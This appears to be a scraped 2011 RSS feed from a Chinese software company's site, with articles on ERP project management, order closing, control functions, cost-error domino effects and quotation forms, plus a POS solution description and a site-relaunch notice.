	一个ERP实施项目牵涉的面很广。从大的方面说，包括软件、硬件和服务，是一个浩大的系统工程。从小的方面说，项目的计划、组织、资源调配、控制和协调，都是项目成功不可缺少的条件。这里分享几个值得注意的关键控制点和经验。

	①制定项目时间表的重要性

	ERP实施是一个长期的项目，在此过程中会涉及到各种资源，也会涉及到任务的分解，而且大部分事情都有一个先后次序的要求，因此时间的分配和控制必须制定好。而实际操作中，常常会出现一味在项目进度计划时求快，甚至是刻意追求某个具有特殊意义的日期作为项目里程碑，将对项目的控制造成很大压力。

	另一方面，事实上很多项目的失败，正是起因于项目进度出现拖延，而导致项目团队士气低落，效率低下。因此，ERP项目实施的时间管理，需要充分考虑各种潜在因素，适当留有余地；在执行过程中，应强调项目按进度执行的重要性，在考虑任何问题时，都要将保持进度作为先决条件；同时，合理利用赶工及快速跟进等方法，以充分利用资源。

	②人力资源的重要性

	ERP项目的成功实施当然离不开人力资源的保障体系，在人力资源方面企业内部应该成立一个自上而下的项目组织。项目的人力资源管理，首先是明确每一项任务由哪些人来完成，在此基础上形成项目的人力资源矩阵。

	有一句大白话，一切问题最终都会归结到人上。可见ERP项目实施过程中的人力资源管理是多重要。因此，实施团队的好坏是项目实施成败的关键。在一个ERP项目中，30%的时间和精力在做技术，70%时间是花在做人的工作上，所以人力资源管理是ERP项目管理中的核心部分，我们在做项目时万万不可小视。

	③接下来就是项目的内在部分：项目的质量管理。

	一般来说，达到目标要求并超出目标期望，这就是项目的质量要求。通俗一点说，我们经常说项目的高质量实施，就是对满意度的实施。如何才能达到高满意度？其实这是一个很难界定的标准。笔者认为，首要的前提是对项目的目标/需求范围有一个清晰的界定，这是谈项目实施高质量的前提。在此基础上，才是企业对产品满意，产品包含软件本身，以及软件技术。然后是对实施顾问和实施过程的满意。产品、技术、实施，三个方面构成ERP实施项目质量的范围和具体内容。我们需要在这三个方面采取措施建立质量监督措施，加强质量的控制。

	④奖励机制的建立。

	ERP项目实施是一个庞大的系统工程，可谓牵一发而动全身。实施小组成员在完成已有任务的同时，无形中又增加了学习、培训&amp;nbsp;

	、讨论、分析与收集资料、整理基础数据、规范流程与数据等许多工作。因此，必须建立起一套行之有效的奖惩机制，才能有效调动起实施人员的积极性。在适当的时候，项目领导小组应对有突出贡献的人和部门给予特别嘉奖。

	⑤项目的风险管理

	为什么摆在最后，是因为以上各个因素都存在着大量的不确定性。范围不确定，时间不确定，人力资源变更，质量问题等等都会影响到项目目标。而项目的风险管理，就是要对以上项目的因素存在的不确定性进行管控。具体来说，就是采取规避、转移、接受、利用等等方式，排除对项目目标实现的不确定性，进而保证项目的有序进行。风险管理一直是ERP项目管理中的重点和难点问题。简单说，项目风险管理就是对ERP实施过程中存在的各种项目重大要素诸如范围、时间、人员等进行管理。

	从ERP项目立项开始，项目管理是否失控是所有项目经理的心头之痛。ERP项目实施过程中，所有的因素都有可能使ERP不断改变，如果不能有效处理这些变更，项目计划必将会一再调整，交付日期也会随之一再拖延，项目成员的士气也将越来越低落，这些都将直接导致ERP项目成为沙堆危楼。而所有这一切，决定了项目管理者必须拥有高超的管理技巧。
 </text>
<image> </image>
<keywords>软件开发,ERP,实施,进程,项目管理, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 16:12 </pubDate>
</item>
<item>
<title>悠久软件网站升级改版正式上线！ </title>
<link>http://www.youjoys.cn/news/conews/20110724/15.html </link>
<description>悠久软件网站升级改版正式上线！欢迎浏览！请多提宝贵建议！www.youjoys.cn </description>
<text>
	悠久软件网站升级改版正式上线！新版网站采用div+css构架，全站生成html静态页，兼容IE6、IE7、IE8、IE9、FF等所有主流浏览器，更快更稳定！

	欢迎浏览！请多提宝贵建议！

	www.youjoys.cn

	
 </text>
<image>http://www.youjoys.cn/uploads/110725/1-110H511014Y27.jpg </image>
<keywords>悠久软件,网站升级,正式上线 </keywords>
<category>公司新闻 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 10:58 </pubDate>
</item>
<item>
<title>超市POS解决方案 </title>
<link>http://www.youjoys.cn/solutions/20110724/9.html </link>
<description>适用于：中小型超市、便利店、百货店、专卖店、书店、药店等 系统配置说明： ● 后台采用台式机处理商品管理、库存管理、人员考核、供应商付款、数据分析等业务。（如前台超过 5 个且业务量较大，则推荐使用专业服务器作为后台）并配备激光打印机满足报表及 </description>
<text>
	适用于：中小型超市、便利店、百货店、专卖店、书店、药店等

	系统配置说明：

	● 后台采用台式机处理商品管理、库存管理、人员考核、供应商付款、数据分析等业务。（如前台超过 5 个且业务量较大，则推荐使用专业服务器作为后台）并配备激光打印机满足报表及商品标签等打印需求。

	
	● 前台收款机及后台工作站均配备条码扫描器。建议前台配备高速高精度激光枪或激光平台以满足快速精确的高效需求；后台则选用激光枪或红外扫描枪即可。

	
	● 软件系统采用性能稳定可靠，涵盖商业企业的各个业务环节的中小型商业管理系统。并预留与财务系统、管理总部、配送中心的接口。
	&amp;nbsp;
	&amp;nbsp;
	&amp;nbsp;
	大卖场模式

	适用于：大型超市、百货商店、购物中心、仓储、大卖场

	系统配置说明：

	
	● 后台配置专业服务器用于整个系统的统一控制管理和数据存储。

	
	● 可在企业局域网各部门安装管理系统，设置部门、人员及相应权限，通过各部门人员的协同运作完成后台业务管理。

	
	● 软件系统采用大型商业管理系统。除了具备中小型系统功能外，大型系统还具有以下特点：
	☉ 先进的商品批次管理
	☉ 完善的应收应付款管理
	☉ 多种促销方案，能对促销效果进行评价
	☉ 支持 Internet 远程服务

	连锁模式

	系统配置说明：
	● 整个系统分为三个模块：总部、配送中心、分店。各块之间通过远程拨号网络进行通讯。

	
	● 在总部各部门安装管理系统，通过各部门操作人员的数据录入和维护，完成商品、供应商、客户等信息维护，以提供给配送中心、各分店准确的系统数据。

	
	● 根据企业实际情况，配送中心可以和总部独立以互联网的形式通讯&amp;nbsp; ， 也可以作为总部的子部门以局域网相连。根据规模大小，配送中心可以仅是一台工作站 ( 如图所示 ) 或由多台工作站组成配送中心子局域网。

	
	● 分店配置一台收款机监控工作站，下设多个 POS 机，通过远程拨号网络与总部服务器连接，负责接收总部系统数据，并收集下属 POS 机的销售数据汇总成销售单后发送回总部服务器。若分店规模较小 ( 如只有一个前台 ) ，则可以将一 POS 机兼作为监控工作站使用。

	
	● 根据企业实际规模和需求，软件系统可以选用中小型连锁配送管理系统。而原采用单店模式以及大卖场模式的客户如果想升级为连锁模式，只需购买相应的连锁模块即可实现无缝连接。

	
	软件系统特点：
	☉ 总部统一编码统一控制
	☉ 会员管理 各店通用
	☉ 支持多种配送模式（直配、协配、越库配送）
	☉ 分店要货 自动配送
	☉ 支持 Internet 远程服务
	☉ 强大的数据分析、图文报表功能
 </text>
<image> </image>
<keywords>超市POS解决方案 </keywords>
<category>解决方案 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:40 </pubDate>
</item>
<item>
<title>[软件开发]原ERP计划(定单)关闭的作用及方式 </title>
<link>http://www.youjoys.cn/knowledge/20110724/1.html </link>
<description>ERP计划或者定单(以下简称定单-----Order)的关闭,是指在ERP系统内各种定单:如销售、生产、采购、委外（或叫外协），在规定的日期或者数量满足之后，审核锁定，不再发生业务动作，将该定单排除在系统的MRP运行之外的一个操作过程。 对于ERP系统在工厂内是否正 </description>
<text>　
    	ERP计划或者定单(以下简称定单-----Order)的关闭,是指在ERP系统内各种定单:如销售、生产、采购、委外（或叫外协），在规定的日期或者数量满足之后，审核锁定，不再发生业务动作，将该定单排除在系统的MRP运行之外的一个操作过程。
对于ERP系统在工厂内是否正常运行，定单的关闭率也是一个考核指标。比如四班系统就把：定单按时完成率（某时段内的准时交货定单数量/定单总数）作为系统是否正常运行的八个指标之一，Oracle也有类似的指标。定单的关闭率高，意味着企业的计划运行比较正常，一切行之有效；反之，则表明企业的计划运行比较混乱；而且，因为部分计划不能按期完成，所带来的修正和补救，会引起更大的混乱。
一、定单关闭的作用
&amp;nbsp;
对系统运行而言，关闭定单的的作用主要有以下几点：
1、 检查到期计划的执行情况：如到期定单的品种和数量是否满足要求。如不能满足，则需要有补救的办法。因为按照MRPII的原理58：返回到原计划比重新计划更加困难------但更加好。
2、 对未到期定单的执行情况进行判断，对预计到期无法完成的定单，制定相关措施，使之能按期完成。按照MRPII的原理64：辩解与控制信息之间的区别仅仅在于时机。控制是在出现问题之前，而辩解，是在有问题的时候。可以说，2是对1出现异常的预防措施，或者说是引申。
3、 关注定单执行过程中的异常，经常体现在质量的波动上。而质量的波动会影响所有已经完成或者未完成的定单。
4、 锁定完成的或者不需要的定单，减少MRP，降低系统运行的负担。
5、 减少冗余的信息量，多余的信息不仅仅是累赘，而且影响判断。大量的已经完成的或者不必要的定单在计划员的视野中，不是什么好事。
二、定单关闭的方式
&amp;nbsp;
定单的关闭，ERP系统通常都支持人工关闭和自动关闭两种方式。因为判断的条件比较少，只有时间和数量两个主要的因素，因此实现自动关闭也相对简单，在技术上不是什么难题。
用时间作为判断条件的定单，主要是应用在流程行业，因为生产条件或者批量的限制，比如采购定单为DC06 0.8的卷板20吨，而供方本次出炉只有18吨；比如化工厂预计产出航空煤油3吨，结果因为原油组分，产出了3.6吨。数量不足或者超出都是很普通的事情。所以到期即关闭。
而用数量作为判断条件，主要是用在离散制造业。因为工艺的水平问题，出现合格率的波动，造成额定的投入，而产出并不能正好满足要求。这种情况下，在接受允许的数量误差内，系统也可以为物料设置容差，实现自动关闭。比如标准件的容差可以设定在5%，而发动机的容差必须为0。
自动关闭依靠系统的设定条件，而人工关闭，则更多的依靠计划员的经验。
三、自动与人工关闭的对比
&amp;nbsp;
自动关闭的方式可以减少计划员的工作量，尤其是在定单数量比较多的时候。但是，系统设定的条件未必符合企业的管理要求。比如定单晚了半个工作日，或者数量比容差略微高些，系统是死的，对这种模糊的逻辑是不能处理的。
人工关闭的方式对计划员的依赖比较高，计划员的工作量相对比较大。但是，对于需要根据定单的执行情况，做出关闭判断和补救措施的功能，是系统无法替代的。
所以，从计划管理和控制的角度，用人工审核关闭，比系统自动关闭，有更多的好处。因为系统关闭定单的时候，不会考虑其他的因素，而计划员可以。
必须说的是，虽然我个人坚决支持人工关闭定单的方式，但是系统应该支持自动与人工关闭两种方式。 </text>
<image> </image>
<keywords>软件开发,ERP,计划,定单,关闭,作用, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>[软件开发]解析ERP系统中控制职能的运用与实施 </title>
<link>http://www.youjoys.cn/knowledge/20110724/2.html </link>
<description>控制是管理的一项重要职能，是管理的灵魂，反馈是控制的基础，在ERP系统中，控制职能的运用也可以做到游刃有余。 一、ERP系统中控制职能与计划职能相结合 计划为依据，用计划来约束、控制，发现偏差进行反馈，再进行人工修正，然后是执行，执行过程中要采取 </description>
<text>　
    	控制是管理的一项重要职能，是管理的灵魂，反馈是控制的基础，在ERP系统中，控制职能的运用也可以做到游刃有余。
一、ERP系统中控制职能与计划职能相结合
计划为依据，用计划来约束、控制，发现偏差进行反馈，再进行人工修正，然后是执行，执行过程中要采取措施，措施要有效，最后是结果，结果是上一轮计划产生的结果，又是下一轮计划制定的基础，周而复始。制订计划的部门有监督检查控制的权力，执行计划的部门有反馈的义务。按照计划的层次，从上到下逐级落实，从下到上逐级反馈。主生产计划是中心，其它生产计划是保证，计划的制订不能越级，是金字塔结构的，要一级对一级负责，一级对一级考核。计划的跟踪、检查、反馈是纠正计划的最好时机，计划的执行情况又是下一轮制订计划的基础。因此制订一个高质量的、科学的、切实可行的计划并不是计划人员闭门造车就能够实现的，必须靠集体的力量，必须来源于实践并应用于实践。制订一个好的计划不容易但却是必需的，体现了管理的层次和水平问题，也体现了部门之间的协?作问题，ERP系统使大家在一个平台上信息共享，相互提醒，向更高的目标循?环往复。
二、ERP系统的控制灵性和艺术
在整个ERP系统里，从另一个视觉观察，通篇都在叙述管理哲学和管理思想，其逻??关系叫人感觉其理论与实践的完美结合，计算机管控艺术的原?则性与灵活性完美结合。因为注入了管理思想，ERP系统也就有了灵性。ERP具有严密的计算逻辑和超强的控制能力。其中的每一个环节都是环环相扣，分工明确。 ERP系统的控制是通过&amp;ldquo;核对&amp;rdquo;来实现的。下一级单据要核对上一级，以利于上级对下一级的控制，下一级对上一级的追溯。从订单提报到BOM录入，到工单、请购单的形成，每一个操作都有来源;车间领料要核对工单、外购入库要核对采购单、车间入库要核对工单、销售要核对订单，每个动作都有原因，下游要核对上游的数据，否则无法归集，形不成闭环，脱离了计划、实施、监督、控制、总结、考核、提高的管理哲学。上游没有源，下游就没有水，ERP系统整个供需逻辑很清晰，你可以不去核对上游，你将失去追溯的权力;你一方面可以简捷灵活，在另一方面你必受繁杂和僵化的制约。你想最后得到一张喜欢的报表，必需你去维护基础数据做支持，你有所得就有所失，要想使用好ERP，都是你自己的问题。
ERP是计算机科学、数学、管理学、逻辑学等学科的高度集成。这个信息化的代名词，企业管理的泊来品有强大的功能解决手工不能解决的问题，特别是重复性的工作，你的管理控制能力有多少，精力有多少，管理成本有多少，管理水平有多高;你就可以把管理的细节定位在那里，管控的额度设置在那里，比如工序的控制，定额的控制等，系统永远会叫你在这种自我矛盾的心理中取设。对细节管理的收放自如，ERP能做到，人工做不到，因为计算机程序是通过操作指令合成的，随着知识的渗透，许多ERP软件功能趋同。如果你是一个聪明的管理专家，一定不会和计算机较劲，会明智的有所为有所不为。ERP系统以最大限度的量化来解决定性的问题，它不像企业哲学那样虚无缥缈，是看得见摸得着的操作平台，它告诉你企业管理中哪些是应该做的，哪些是不该做的，两种方案只选其一，绝不会模棱两可提供似是而非的答案，它是具体的，对就是对，错就是错。输入数据时，输入的垃圾，输出的绝对是垃圾，每一个操作都有来源，产生的每一个错误也都有原 ?因。它的思路每时每刻都很清醒，真理正确永远在它那边，错误都属于你。ERP很耿直，它的分析报告也很公正，汇报时绝不添油加醋，更不会修饰语言的感情色彩，如果论其人品当属上乘。
在长期的生产计划管理、进度控制中，也许人们积累了大量的经?验，比如&amp;ldquo;中庸之道&amp;rdquo;，&amp;ldquo;经验公式、保险系数、定额&amp;rdquo;，&amp;ldquo;以不变应万变&amp;rdquo;，&amp;ldquo;学会弹钢琴 &amp;rdquo;，&amp;ldquo;无远虑，必有近忧&amp;rdquo;，&amp;ldquo;做计划要长短结合，进退皆宜，左右逢源，做到不积压又能保证生产&amp;rdquo;，&amp;ldquo;做到刹车时软着陆，扩产时启动迅速&amp;rdquo;等等。有时组织生产真的就像排兵布阵一样，那些先，那些后，那些打穿插，那些作伏兵，那些做机动，粮草、弹药如何保证，才能确保战役的胜利。擅长搞综合平衡的人，决策时总有海纳百川的胸怀，高瞻远瞩，把过去、现在、未来进行精心的策划，坐如石佛，动如脱兔。在某一具体细节上，又总是心细如丝，不漏掉任何一个环节。
正的生产实践中，人们的经验是经过无数次的失败得来的，成功与失败各占一半的比例，稍有不慎，就会造成极大的人力和物力的浪费，大家都很忙，收到的结果却很坏。因为有了ERP系统，&amp;ldquo;经?验&amp;rdquo;就会固化在系统中，而且是同一的。ERP系统的&amp;ldquo;经?验&amp;rdquo;也会随着使用时间的推移积累得越来越多，而且更准确。它是通过长期的数据积累，比如半年或者一年的数据，然后再将基础数据作以调整，重新应用于新一轮的计划管理和指标考核，使管理水平在一个新的起点上再次进行新的循?环。正是这样，ERP系统的持续改进，ERP系统的智能化才体现得更为明显，ERP系统上线后，数月之内，数据变得越来越准确，管理工作越来越到位。一个生产管理者使用ERP系统后将会组建一个信息流、物流高度结合，反应迅速，指挥高效，能够自由应对市场突变的控制系统。 </text>
<image> </image>
<keywords>软件开发,解析,ERP,系统,控制,职能, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>[软件开发]ERP系统：当心体现出的多米诺骨牌效应 </title>
<link>http://www.youjoys.cn/knowledge/20110724/3.html </link>
<description>从能量学的角度看，多米诺骨牌效应所产生的破坏性是非常巨大的。骨牌站着使，重心比较高;倒下的时候，重心则下降，在第一枚骨牌倒下的时候，重力势能转化为动能。它倒在第二枚骨牌上的时候，这个动能就转移到第二张骨牌上，第二章牌将第一张牌转移过来的动能 </description>
<text>　
    	从能量学的角度看，多米诺骨牌效应所产生的破坏性是非常巨大的。骨牌站着使，重心比较高;倒下的时候，重心则下降，在第一枚骨牌倒下的时候，重力势能转化为动能。它倒在第二枚骨牌上的时候，这个动能就转移到第二张骨牌上，第二章牌将第一张牌转移过来的动能和自己倒下过程中所产生的重力势能进行累积，然后转移到第三张骨牌上。如此下去，后面的牌倒下的速度会越来越快，所破坏性也就越来越大。
其实，这种多米诺骨牌效应在实际生活中到处看见。今天我就来谈谈在ERP系统中所体现出来的多米诺骨牌效应。
多米诺骨牌效应举例：采购价格错误导致的多米诺骨牌效应。
某种原材料，现在的价格应为9元。但是，采购管理员由于输入误操作没有审核这个物料的核价单，，导致系统中的该原材料的价格仍然为10元。下面，我们来看看这会产生什么样的多米诺骨牌效应?
首先，这个材料中仓库仍然有100个库存，其库存金额为10元/个，总共的库存金额为1000元。
然后，采购部门由于生产的需要，又采购了900个这种原材料。其采购价格实际应该为9元/个，但是，由于采购价格在系统中没有更新，其采购单上显示的采购单价仍然为10元。由于采购管理人员根据平时操作的习惯，错误的认为价格不会出错，所以，没有发现这个价格上的错误。这导致采购单上的金额整整比实际上多了900元。
当供应商送货过来，仓库入库的时候，仍然是以10元的单价进行入库。如此的话，这笔原材料的入库价格仍然为9000元，这笔材料总共的库存金额即为10000元。而按照正确的价格计算的话，则该批材料的入库价值为8100元，总共的库存金额为9100元。若根据移动加全平均成本计算，则这批原材料的单位库存金额应该是9.1元/个。
然后仓库把这批原材料发给生产部门，生产部门进行生产。生产完成后，系统分析材料成本的时候，就是以10元的价格来统计这个发料成本。由于当月耗费的原材料众多，所以，成本会计在核对系统计算出来的成本信息时，也没有发现这个错误。
当跟供应商对帐的时候，采购与财务人员才发现这个错误。
在这个流程中，一共有五块多骨诺牌。第一块是采购核价员，由于没有及时更新核价信息，从而推翻了第一块多骨诺牌。第二块是具体的采购员，由于采购员一般没有干预价格的能力，其只核对采购数量与采购产品的准确性。如此，第二块多骨诺牌没有被挡住，被第一块倒下的多骨诺牌撞倒了。第三块牌、第四块牌分别是仓库与生产。由于这两个部门本来就不清楚原材料的采购价格，有些安全级别高的企业，他们甚至不能够了解价格信息。所以，也根本不能发现这个错误。如此，第三块、第四块牌也倒下去了。第五块牌就是成本会计。由于每个月耗费的原材料很多，所以，成本会计一般也不会去核对发料成本的准确性，特别是移动加全平均成本涉及到的工作量很大，所以，在ERP系统使用过程中，基本上都是以系统中计算出来结果为准。所以，第五块牌也倒下了。最后就砸到了采购部门自己的身上。
从系统的角度来讲，若能够在采购单管理的时发现这个错误的话，那么进行调整还是很容易的，只需要通过采购订单变更价格即可。但是，越到后面的话，则调整会越来越麻烦。最后到月底结帐、成本结转过后，则就积重难返了。
这个多米诺骨牌效应所产生的能量太大，已经难以回头。根据ERP系统的设计原则，月底结帐与成本结转作业完成后，是不能再对上个月的帐务进行调整。到供应商申请付款的时候，才发现这个价格错误，此时多米诺骨牌效应所积累的能量已经很大，在ERP系统中不能对上个月的成本信息再进行调整。也就是说，上个月利用这种原材料的产品，其材料成本就比实际的高了0.9元钱。而为了最后库存的准确性，又不得不通过成本调整单，调整现有的这种原材料的库存金额。结果呢，又会导致后续的产品实际成本降低，一直到这批原材料用完。
可见，这副多骨诺牌带来的效应，由于采购核价员第一关没有把好，第一张牌倒了之后，就发生了连锁反应，后面对牌陆续倒下，最后终于积重难返，只能够通过成本调整单来手工的部分调整库存金额，对已经发生的成本信息，无法再进行调整，只能接受即成的现实。(不是说一定不能更改，而是更改的时候，工作量太大，而且会产生更加大的连锁反应。所以，对于成本结帐过的月份的帐务，一般不建议进行调整。)
其实，类似的情况很多。如工艺信息中工时设置与实际差异较大，从而影响到生产排程、制造费用的分摊等等，最终会对出货、产品成本产生不可挽回的影响。
那该如何防止多骨诺牌的不良效应呢?我有如下的建议，大家可以参考一下。
一是从源头抓起。多米诺骨牌效应若是从第一块骨牌开始倒下，一直倒到最后，则会产生很大的破坏作用。相反，若从中间倒下，甚至是最快几块牌倒下的话，则其不良反应则会小的多。即使在ERP系统中进行调整的话，工作量也是在可以接受的范围之内。所以，要缩小多骨诺牌的不良反应，我们就要从源头做起。如对于基本资料的整理我们就需要特别的关注。对于物料清单、产品信息、产品价格、供应商信息、工艺信息等等，都务必要保证极高的准确性。因为这些资料错误的话，则会产生一连串的连锁反应。而这些反应往往具有不可逆转的特性。所以，笔者建议，在ERP系统使用的过程中，要关注基础资料的准确性。三分软件、七分实施、十二分基础数据，也说明了基础数据对于系统运行的重要性。
二是单据审核者签字或者盖章之前，要想想笔下的重量。我在负责项目的过程中，发现很多企业的部门经理好像都很相信自己的员工，在单据审核的时候，都不是那么严格。如有的部门经理在审核单据的时候，看都不看，就草草在单据上签字。有的甚至把自己的章给了手下，让他们自己审核自己的单据。上了ERP系统之后，他们也把这种不好的习惯带到了ERP系统中去。如把自己的帐户名与密码给了自己的手下。他们先用自己的用户名建立单据，然后再利用主管的用户名进行单据审核。如此的话，单据审核这一道关如同虚设，根本起不到实质性的作用。这就导致在多骨诺牌倒下的时候，不能够及时防止，而一路倒到底，最后造成不可挽回的损失。所以，要减少多骨诺牌所造成的连锁反应的话，各个部门经理要抓好审核关，尽量让多骨诺牌只倒到自己这个部门，让问题在自己这个部门得到解决，不要再延续到后续的部门与作业中去。
三是当错误已经造成的时候，不要再想着去重新来过，而应该考虑如何收拾残局。当反先上月的交易记录有错误的时候，我们不建议用户再去重新来过，对上月的交易记录进行调整。因为这会影响当月的交易记录。我们在项目实施的时候，建议用户对上几个月的业务进行调整。也就是说，最多只能够对当月的业务进行调整。
另外，还有一个建议就是当月的交易在月底成本结转之前需要核对清楚。若遇到一些不清楚的情况，在可能的情况下，把他放到下月来处理，从而避免产生多米诺骨牌效应，发生不必要的连锁反应。 </text>
<image> </image>
<keywords>软件开发,ERP,系统,当心,现出,多米诺骨牌, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>[软件开发]浅谈ERP系统报价单的三大重要功用 </title>
<link>http://www.youjoys.cn/knowledge/20110724/5.html </link>
<description>报价单，在ERP系统中，有着举足轻重的作用。但是，很多企业用户，用不惯报价单，认为其麻烦，而他们在报价时，都不通过系统报价，而直接通过口头报价，价格确定后，直接修改价格表更改产品价格。就因为这个步骤没做，后续的很多功能都无法应用。 1、报价单， </description>
<text>　
    	报价单，在ERP系统中，有着举足轻重的作用。但是，很多企业用户，用不惯报价单，认为其麻烦，而他们在报价时，都不通过系统报价，而直接通过口头报价，价格确定后，直接修改价格表更改产品价格。就因为这个步骤没做，后续的很多功能都无法应用。
1、报价单，可以作为销售定单的模板处理。
报价单，可以作为销售定单的模板处理，从保价单自动转换销售定单，可以方便销售定单的输入，提高销售定单的准确率。
如现在企业开发出一个新产品，在ERP系统中，输入相关的信息后，可以通过报价单给各个客户进行报价。当客户下定单时，就直接从报价单转换成销售定单，如此做，有如下好处：
(1)报价单上的所有信息都可以原封不动的复制到销售定单上，这可以防止在制作销售定单的时候，跟客户确认过的报价单上的信息，如付款条件、客户特殊要求等，不能准确的反映在销售定单上，而这是因为企业自身的失误造成的，所以，最终的后果还是要企业自己来承担。
(2)方便销售定单的输入。若没有报价单，则客户每下一次销售定单，用户都要在系统中，重复的录入一遍。而如果有了报价单，相同的定单内容，用户都可以通过&amp;ldquo;报价单转换销售定单&amp;rdquo;作业，自动把报价但转换为销售定单，大大方便了销售定单的录入，特别是对于&amp;ldquo;返单&amp;rdquo;来说。
(3)使得销售定单有据可循。若销售定单都通过报价单进行转换，则每张销售定单的价格，在以后进行查询时，都可以查到起产品价格的依据，即使几年后，来查询时，都是可以清楚的查到，防止错误。
2、报价单，可以反映产品的历史价格变更信息。
对于产品的价格变更，若都通过报价单进行变更的话，则可以通过相关报表，反映出产品价格的变动对于企业利润的影响，采取某些优惠政策，对于企业产品销售量的影响等等。而这些数据，可以为企业管理层，为产品重新定价提供依据。
(1)在ERP系统中，保留产品的历史价格，可以为企业分析出，新的价格有没有给企业带来预期的利润，若有，则说明企业的价格政策是可行的，可以继续下去;否则，就说明企业的价格政策是不可行的，虽然增加了销售量，但是没有增加企业的利润。
(2)ERP系统的报价作业，还可以对同一种产品，不同的客户根据其实际情况的不同，采取不同的价格。有时候，可能同一种产品，针对5个客户，有五个价格。这主要是根据客户付款条件的不同、历史下单量及跟客户的合作程度有关。而利用报价单功能，可以分别针对多个客户设置报价单。然后，客户下销售定单时，则根据报价单自动转换成销售定单，如此，就可以实现不同的客户不同的价格，防止张冠李戴。同时，因为不同的客户有不同的报价单，以后在查询时，也不怕那张销售定单找不到价格的依据。最后，通过报价单管理作业，即使同一个产品不同客户的价格变更，都只会影响特定客户的价格，而不会影响其他客户的价格。这一方面不容易出错，另一方面，也有利于统计，分析各个客户企业利润的贡献度，等等。
(3)通过某个客户在不同价格情况下的销售量，还可以分析出客户对于价格的敏感程度。从而为企业的定价提供依据，为管理层提供决策的数据支持。
3、报价单，可以似的价格控制更加严谨。
销售价格对企业来说，是一个比较敏感的数据。其准确性，直接关系到企业的利润。而报价单可以最大程度的保证企业价格的准确性，其提供了多种工具，可以协助用户管理好企业的价格。
(1)最底价格的限制，可以防止业务员没有低线的报价。
在报价单中，企业可以设置每个产品的最底价格，销售用户在给企业报价时，不能低于这个价格，若低于这个价格，系统是不允许审核的;也不允许其带到销售定单等相关的单据上去。
(2)对于不同季节，可以采用不同的报价单。从而实现价格的季节性变化管理。
企业有些产品，随着季节的不同，价格呈周期性变化。为此，一般的方法，是通过价格有效期限进行管理。但是，有一些用户觉得利用这个更改太麻烦，为此，可以通过价格表来进行管理，即方便，又不容易出错。如某个产品，上半年跟下半年的价格不一样，分别为100元与130元，下半年由于材料等原因，要比上半年贵30元。如此，就可以开两张报价单，一张上半年的，价格为100元，一张下半年的，价格为130元。如此，就可以通过报价单转换销售定单的功能，上半年的销售定单用上半年的报价单转，下半年用下半年的报价单转，从而满足企业的需求。 </text>
<image> </image>
<keywords>软件开发,浅谈,ERP,系统,报价单, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>[软件开发]ERP系统报价单的妙用 </title>
<link>http://www.youjoys.cn/knowledge/20110724/6.html </link>
<description>报价单，在ERP系统中，有着举足轻重的作用。但是，很多企业用户，用不惯报价单，认为其麻烦，而他们在报价时，都不通过系统报价，而直接通过口头报价，价格确定后，直接修改价格表更改产品价格。就因为这个步骤没做，后续的很多功能都无法应用。 1、报价单， </description>
<text>　
    	报价单，在ERP系统中，有着举足轻重的作用。但是，很多企业用户，用不惯报价单，认为其麻烦，而他们在报价时，都不通过系统报价，而直接通过口头报价，价格确定后，直接修改价格表更改产品价格。就因为这个步骤没做，后续的很多功能都无法应用。
1、报价单，可以作为销售定单的模板处理。
报价单，可以作为销售定单的模板处理，从保价单自动转换销售定单，可以方便销售定单的输入，提高销售定单的准确率。
如现在企业开发出一个新产品，在ERP系统中，输入相关的信息后，可以通过报价单给各个客户进行报价。当客户下定单时，就直接从报价单转换成销售定单，如此做，有如下好处：
(1)报价单上的所有信息都可以原封不动的复制到销售定单上，这可以防止在制作销售定单的时候，跟客户确认过的报价单上的信息，如付款条件、客户特殊要求等，不能准确的反映在销售定单上，而这是因为企业自身的失误造成的，所以，最终的后果还是要企业自己来承担。
(2)方便销售定单的输入。若没有报价单，则客户每下一次销售定单，用户都要在系统中，重复的录入一遍。而如果有了报价单，相同的定单内容，用户都可以通过&amp;ldquo;报价单转换销售定单&amp;rdquo;作业，自动把报价但转换为销售定单，大大方便了销售定单的录入，特别是对于&amp;ldquo;返单&amp;rdquo;来说。
(3)使得销售定单有据可循。若销售定单都通过报价单进行转换，则每张销售定单的价格，在以后进行查询时，都可以查到起产品价格的依据，即使几年后，来查询时，都是可以清楚的查到，防止错误。
2、报价单，可以反映产品的历史价格变更信息。
对于产品的价格变更，若都通过报价单进行变更的话，则可以通过相关报表，反映出产品价格的变动对于企业利润的影响，采取某些优惠政策，对于企业产品销售量的影响等等。而这些数据，可以为企业管理层，为产品重新定价提供依据。
(1)在ERP系统中，保留产品的历史价格，可以为企业分析出，新的价格有没有给企业带来预期的利润，若有，则说明企业的价格政策是可行的，可以继续下去;否则，就说明企业的价格政策是不可行的，虽然增加了销售量，但是没有增加企业的利润。
(2)ERP系统的报价作业，还可以对同一种产品，不同的客户根据其实际情况的不同，采取不同的价格。有时候，可能同一种产品，针对5个客户，有五个价格。这主要是根据客户付款条件的不同、历史下单量及跟客户的合作程度有关。而利用报价单功能，可以分别针对多个客户设置报价单。然后，客户下销售定单时，则根据报价单自动转换成销售定单，如此，就可以实现不同的客户不同的价格，防止张冠李戴。同时，因为不同的客户有不同的报价单，以后在查询时，也不怕那张销售定单找不到价格的依据。最后，通过报价单管理作业，即使同一个产品不同客户的价格变更，都只会影响特定客户的价格，而不会影响其他客户的价格。这一方面不容易出错，另一方面，也有利于统计，分析各个客户企业利润的贡献度，等等。
(3)通过某个客户在不同价格情况下的销售量，还可以分析出客户对于价格的敏感程度。从而为企业的定价提供依据，为管理层提供决策的数据支持。
3、报价单，可以似的价格控制更加严谨。
销售价格对企业来说，是一个比较敏感的数据。其准确性，直接关系到企业的利润。而报价单可以最大程度的保证企业价格的准确性，其提供了多种工具，可以协助用户管理好企业的价格。
